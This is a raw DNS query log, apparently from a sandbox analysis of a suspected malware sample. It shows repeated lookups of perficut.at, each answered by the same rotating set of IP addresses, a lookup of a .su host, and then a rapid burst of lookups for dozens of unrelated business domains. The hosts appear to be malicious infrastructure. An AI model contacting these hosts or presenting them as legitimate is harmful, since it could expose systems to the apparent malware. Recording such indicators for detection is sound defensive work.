Feb 16, 2023 13:58:04.884341955 CET	8.8.8.8	192.168.2.3	0xf4bc	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:04.884341955 CET	8.8.8.8	192.168.2.3	0xf4bc	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:04.884341955 CET	8.8.8.8	192.168.2.3	0xf4bc	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:04.884341955 CET	8.8.8.8	192.168.2.3	0xf4bc	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:04.884341955 CET	8.8.8.8	192.168.2.3	0xf4bc	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:04.884341955 CET	8.8.8.8	192.168.2.3	0xf4bc	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:06.482705116 CET	8.8.8.8	192.168.2.3	0x7667	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:06.482705116 CET	8.8.8.8	192.168.2.3	0x7667	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:06.482705116 CET	8.8.8.8	192.168.2.3	0x7667	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:06.482705116 CET	8.8.8.8	192.168.2.3	0x7667	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:06.482705116 CET	8.8.8.8	192.168.2.3	0x7667	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:06.482705116 CET	8.8.8.8	192.168.2.3	0x7667	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:06.482705116 CET	8.8.8.8	192.168.2.3	0x7667	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:06.482705116 CET	8.8.8.8	192.168.2.3	0x7667	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:06.482705116 CET	8.8.8.8	192.168.2.3	0x7667	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:06.482705116 CET	8.8.8.8	192.168.2.3	0x7667	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:08.076792002 CET	8.8.8.8	192.168.2.3	0xe9f0	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:08.076792002 CET	8.8.8.8	192.168.2.3	0xe9f0	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:08.076792002 CET	8.8.8.8	192.168.2.3	0xe9f0	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:08.076792002 CET	8.8.8.8	192.168.2.3	0xe9f0	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:08.076792002 CET	8.8.8.8	192.168.2.3	0xe9f0	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:08.076792002 CET	8.8.8.8	192.168.2.3	0xe9f0	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:08.076792002 CET	8.8.8.8	192.168.2.3	0xe9f0	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:08.076792002 CET	8.8.8.8	192.168.2.3	0xe9f0	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:08.076792002 CET	8.8.8.8	192.168.2.3	0xe9f0	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:08.076792002 CET	8.8.8.8	192.168.2.3	0xe9f0	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:09.385746956 CET	8.8.8.8	192.168.2.3	0x7748	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:09.385746956 CET	8.8.8.8	192.168.2.3	0x7748	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:09.385746956 CET	8.8.8.8	192.168.2.3	0x7748	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:09.385746956 CET	8.8.8.8	192.168.2.3	0x7748	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:09.385746956 CET	8.8.8.8	192.168.2.3	0x7748	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:09.385746956 CET	8.8.8.8	192.168.2.3	0x7748	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:09.385746956 CET	8.8.8.8	192.168.2.3	0x7748	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:09.385746956 CET	8.8.8.8	192.168.2.3	0x7748	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:09.385746956 CET	8.8.8.8	192.168.2.3	0x7748	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:09.385746956 CET	8.8.8.8	192.168.2.3	0x7748	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:11.019347906 CET	8.8.8.8	192.168.2.3	0x3f30	No error (0)	h167471.srv11.test-hf.su		91.227.16.11	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:11.813613892 CET	8.8.8.8	192.168.2.3	0x61e7	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:11.813613892 CET	8.8.8.8	192.168.2.3	0x61e7	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:11.813613892 CET	8.8.8.8	192.168.2.3	0x61e7	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:11.813613892 CET	8.8.8.8	192.168.2.3	0x61e7	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:11.813613892 CET	8.8.8.8	192.168.2.3	0x61e7	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:11.813613892 CET	8.8.8.8	192.168.2.3	0x61e7	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:11.813613892 CET	8.8.8.8	192.168.2.3	0x61e7	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:11.813613892 CET	8.8.8.8	192.168.2.3	0x61e7	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:11.813613892 CET	8.8.8.8	192.168.2.3	0x61e7	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:11.813613892 CET	8.8.8.8	192.168.2.3	0x61e7	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:12.821860075 CET	8.8.8.8	192.168.2.3	0xf8d9	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:12.821860075 CET	8.8.8.8	192.168.2.3	0xf8d9	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:12.821860075 CET	8.8.8.8	192.168.2.3	0xf8d9	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:12.821860075 CET	8.8.8.8	192.168.2.3	0xf8d9	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:12.821860075 CET	8.8.8.8	192.168.2.3	0xf8d9	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:12.821860075 CET	8.8.8.8	192.168.2.3	0xf8d9	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:12.821860075 CET	8.8.8.8	192.168.2.3	0xf8d9	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:12.821860075 CET	8.8.8.8	192.168.2.3	0xf8d9	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:12.821860075 CET	8.8.8.8	192.168.2.3	0xf8d9	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:12.821860075 CET	8.8.8.8	192.168.2.3	0xf8d9	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:15.145818949 CET	8.8.8.8	192.168.2.3	0x4b58	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:15.145818949 CET	8.8.8.8	192.168.2.3	0x4b58	No error (0)	perficut.at		195.158.3.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:15.145818949 CET	8.8.8.8	192.168.2.3	0x4b58	No error (0)	perficut.at		80.98.46.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:15.145818949 CET	8.8.8.8	192.168.2.3	0x4b58	No error (0)	perficut.at		203.91.116.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:15.145818949 CET	8.8.8.8	192.168.2.3	0x4b58	No error (0)	perficut.at		211.171.233.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:15.145818949 CET	8.8.8.8	192.168.2.3	0x4b58	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:15.145818949 CET	8.8.8.8	192.168.2.3	0x4b58	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:15.145818949 CET	8.8.8.8	192.168.2.3	0x4b58	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:15.145818949 CET	8.8.8.8	192.168.2.3	0x4b58	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:15.145818949 CET	8.8.8.8	192.168.2.3	0x4b58	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.731525898 CET	8.8.8.8	192.168.2.3	0xe7e9	No error (0)	www.quadlock.com	quadlock.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:31.731525898 CET	8.8.8.8	192.168.2.3	0xe7e9	No error (0)	quadlock.com		70.39.251.249	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.734355927 CET	8.8.8.8	192.168.2.3	0x5404	No error (0)	www.baijaku.com	baijaku.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:31.734355927 CET	8.8.8.8	192.168.2.3	0x5404	No error (0)	baijaku.com		59.106.19.204	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.734524012 CET	8.8.8.8	192.168.2.3	0x9f98	No error (0)	www.dgmna.com	dgmna.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:31.734524012 CET	8.8.8.8	192.168.2.3	0x9f98	No error (0)	dgmna.com		192.124.249.20	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.734972954 CET	8.8.8.8	192.168.2.3	0x3011	No error (0)	www.jenco.co.uk		104.21.23.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.734972954 CET	8.8.8.8	192.168.2.3	0x3011	No error (0)	www.jenco.co.uk		172.67.208.67	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.735367060 CET	8.8.8.8	192.168.2.3	0xec89	Name error (3)	www.wkhk.net	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.736105919 CET	8.8.8.8	192.168.2.3	0xbf8c	No error (0)	www.olras.com		80.93.82.33	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.736562967 CET	8.8.8.8	192.168.2.3	0x2184	No error (0)	www.pdqhomes.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:31.736562967 CET	8.8.8.8	192.168.2.3	0x2184	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:31.736562967 CET	8.8.8.8	192.168.2.3	0x2184	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.736562967 CET	8.8.8.8	192.168.2.3	0x2184	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.738594055 CET	8.8.8.8	192.168.2.3	0x9b25	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:31.738594055 CET	8.8.8.8	192.168.2.3	0x9b25	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.779992104 CET	8.8.8.8	192.168.2.3	0xbdb3	Server failure (2)	www.ftchat.com	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.820873022 CET	8.8.8.8	192.168.2.3	0x2678	No error (0)	www.rs-ag.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.820873022 CET	8.8.8.8	192.168.2.3	0x2678	No error (0)	www.rs-ag.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.837829113 CET	8.8.8.8	192.168.2.3	0xf063	No error (0)	www.alteor.cl	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:31.837829113 CET	8.8.8.8	192.168.2.3	0xf063	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:31.837829113 CET	8.8.8.8	192.168.2.3	0xf063	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.854773045 CET	8.8.8.8	192.168.2.3	0x2f9	No error (0)	www.valdal.com		172.67.73.176	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.854773045 CET	8.8.8.8	192.168.2.3	0x2f9	No error (0)	www.valdal.com		104.26.6.221	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.854773045 CET	8.8.8.8	192.168.2.3	0x2f9	No error (0)	www.valdal.com		104.26.7.221	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.893740892 CET	8.8.8.8	192.168.2.3	0x4e78	No error (0)	www.item-pr.com	item-pr.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:31.893740892 CET	8.8.8.8	192.168.2.3	0x4e78	No error (0)	item-pr.com		213.186.33.17	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.893740892 CET	8.8.8.8	192.168.2.3	0x4e78	No error (0)	item-pr.com		185.15.129.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.935539007 CET	8.8.8.8	192.168.2.3	0x3cb0	No error (0)	www.vazir.se		206.191.152.37	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.963234901 CET	8.8.8.8	192.168.2.3	0x3d6b	No error (0)	www.pr-park.com		118.27.125.181	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.974015951 CET	8.8.8.8	192.168.2.3	0x6376	No error (0)	www.credo.edu.pl		62.122.190.121	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.979032040 CET	8.8.8.8	192.168.2.3	0x3798	No error (0)	www.elpro.si		104.26.14.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.979032040 CET	8.8.8.8	192.168.2.3	0x3798	No error (0)	www.elpro.si		172.67.70.22	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:31.979032040 CET	8.8.8.8	192.168.2.3	0x3798	No error (0)	www.elpro.si		104.26.15.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.008816957 CET	8.8.8.8	192.168.2.3	0x3528	No error (0)	www.nunomira.com	nunomira.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:32.008816957 CET	8.8.8.8	192.168.2.3	0x3528	No error (0)	nunomira.com		192.241.158.94	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.077887058 CET	8.8.8.8	192.168.2.3	0xef31	No error (0)	www.mqs.com.br	www.mqs.com.br.cdn.gocache.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:32.077887058 CET	8.8.8.8	192.168.2.3	0xef31	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.174.30	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.077887058 CET	8.8.8.8	192.168.2.3	0xef31	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.173.30	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.125161886 CET	8.8.8.8	192.168.2.3	0x908b	No error (0)	www.depalo.com	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:32.125161886 CET	8.8.8.8	192.168.2.3	0x908b	No error (0)	ghs.googlehosted.com		142.250.203.115	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.160897970 CET	8.8.8.8	192.168.2.3	0x68ad	No error (0)	www.transsib.com	www.studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:32.160897970 CET	8.8.8.8	192.168.2.3	0x68ad	No error (0)	www.studyrussian.com	studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:32.160897970 CET	8.8.8.8	192.168.2.3	0x68ad	No error (0)	studyrussian.com		80.74.154.6	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.175715923 CET	8.8.8.8	192.168.2.3	0xecbf	No error (0)	www.iamdirt.com	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:32.175715923 CET	8.8.8.8	192.168.2.3	0xecbf	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:32.175715923 CET	8.8.8.8	192.168.2.3	0xecbf	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.254192114 CET	8.8.8.8	192.168.2.3	0x781f	No error (0)	www.wifi4all.nl		188.114.96.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.254192114 CET	8.8.8.8	192.168.2.3	0x781f	No error (0)	www.wifi4all.nl		188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.270242929 CET	8.8.8.8	192.168.2.3	0x70d0	No error (0)	www.naoi-a.com		202.254.236.40	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.313123941 CET	8.8.8.8	192.168.2.3	0x13b7	No error (0)	www.otena.com		3.64.163.50	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.332367897 CET	8.8.8.8	192.168.2.3	0xd44a	No error (0)	www.fcwcvt.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.332367897 CET	8.8.8.8	192.168.2.3	0xd44a	No error (0)	www.fcwcvt.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.514959097 CET	8.8.8.8	192.168.2.3	0x6836	No error (0)	www.petsfan.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:32.514959097 CET	8.8.8.8	192.168.2.3	0x6836	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:32.514959097 CET	8.8.8.8	192.168.2.3	0x6836	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.514959097 CET	8.8.8.8	192.168.2.3	0x6836	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.518016100 CET	8.8.8.8	192.168.2.3	0x8ac9	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.523828030 CET	8.8.8.8	192.168.2.3	0x925d	No error (0)	www.t-tre.com		135.181.73.98	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.553726912 CET	8.8.8.8	192.168.2.3	0x7d38	No error (0)	www.vexcom.com		104.21.55.224	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.553726912 CET	8.8.8.8	192.168.2.3	0x7d38	No error (0)	www.vexcom.com		172.67.173.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.656724930 CET	8.8.8.8	192.168.2.3	0xbdc2	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.739422083 CET	8.8.8.8	192.168.2.3	0x63a3	No error (0)	www.abart.pl	abart.pl		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:32.739422083 CET	8.8.8.8	192.168.2.3	0x63a3	No error (0)	abart.pl		89.161.163.246	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.741774082 CET	8.8.8.8	192.168.2.3	0x14a4	No error (0)	www.sjbs.org	sjbs.org		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:32.741774082 CET	8.8.8.8	192.168.2.3	0x14a4	No error (0)	sjbs.org		162.214.120.26	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.798422098 CET	8.8.8.8	192.168.2.3	0x5a36	No error (0)	www.snugpak.com		104.21.73.182	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.798422098 CET	8.8.8.8	192.168.2.3	0x5a36	No error (0)	www.snugpak.com		172.67.165.62	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.798518896 CET	8.8.8.8	192.168.2.3	0xaeba	No error (0)	www.cokocoko.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:32.798518896 CET	8.8.8.8	192.168.2.3	0xaeba	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:32.798518896 CET	8.8.8.8	192.168.2.3	0xaeba	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.798518896 CET	8.8.8.8	192.168.2.3	0xaeba	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.875746012 CET	8.8.8.8	192.168.2.3	0x65b8	No error (0)	www.ora.ecnet.jp	ora.ecnet.jp		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:32.875746012 CET	8.8.8.8	192.168.2.3	0x65b8	No error (0)	ora.ecnet.jp		60.43.154.138	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.935791016 CET	8.8.8.8	192.168.2.3	0xbb2c	No error (0)	www.tvtools.fi		104.21.88.198	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.935791016 CET	8.8.8.8	192.168.2.3	0xbb2c	No error (0)	www.tvtools.fi		172.67.152.159	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:32.973229885 CET	8.8.8.8	192.168.2.3	0x3344	No error (0)	www.photo4b.com		195.78.66.50	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.125042915 CET	8.8.8.8	192.168.2.3	0x64e5	No error (0)	www.crcsi.org	crcsi.org		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:33.125042915 CET	8.8.8.8	192.168.2.3	0x64e5	No error (0)	crcsi.org		165.227.252.190	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.161844015 CET	8.8.8.8	192.168.2.3	0x2315	No error (0)	www.hummer.hu	hummer.hu		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:33.161844015 CET	8.8.8.8	192.168.2.3	0x2315	No error (0)	hummer.hu		185.80.51.179	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.185856104 CET	8.8.8.8	192.168.2.3	0xcbc5	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.188218117 CET	8.8.8.8	192.168.2.3	0x98be	No error (0)	www.abdg.com		192.252.154.18	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.194386959 CET	8.8.8.8	192.168.2.3	0x44cd	No error (0)	www.nelipak.nl		82.201.61.230	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.220510960 CET	8.8.8.8	192.168.2.3	0x3c3f	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.310195923 CET	8.8.8.8	192.168.2.3	0x753d	No error (0)	www.waldi.pl	waldi.pl		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:33.310195923 CET	8.8.8.8	192.168.2.3	0x753d	No error (0)	waldi.pl		46.242.238.60	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.361706018 CET	8.8.8.8	192.168.2.3	0xb525	No error (0)	www.edimart.hu		81.2.194.241	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.395591021 CET	8.8.8.8	192.168.2.3	0xa5e6	No error (0)	www.ora-ito.com		213.186.33.40	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.425785065 CET	8.8.8.8	192.168.2.3	0x7de5	No error (0)	www.maktraxx.com	maktraxx.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:33.425785065 CET	8.8.8.8	192.168.2.3	0x7de5	No error (0)	maktraxx.com		72.44.93.236	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.460774899 CET	8.8.8.8	192.168.2.3	0x194e	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:33.460774899 CET	8.8.8.8	192.168.2.3	0x194e	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.491265059 CET	8.8.8.8	192.168.2.3	0x4cd8	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.541523933 CET	8.8.8.8	192.168.2.3	0xbba7	No error (0)	www.speelhal.net		217.19.237.54	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.623476982 CET	8.8.8.8	192.168.2.3	0x3126	No error (0)	www.pcgrate.com		104.21.66.46	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.623476982 CET	8.8.8.8	192.168.2.3	0x3126	No error (0)	www.pcgrate.com		172.67.201.26	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.746192932 CET	8.8.8.8	192.168.2.3	0x31c6	No error (0)	www.jchysk.com		208.97.178.138	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.844291925 CET	8.8.8.8	192.168.2.3	0xf0d9	No error (0)	www.netcr.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:33.844291925 CET	8.8.8.8	192.168.2.3	0xf0d9	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:33.844291925 CET	8.8.8.8	192.168.2.3	0xf0d9	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.844291925 CET	8.8.8.8	192.168.2.3	0xf0d9	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:33.918834925 CET	8.8.8.8	192.168.2.3	0x5178	No error (0)	www.findbc.com		13.248.216.40	A (IP address)	IN (0x0001)	false
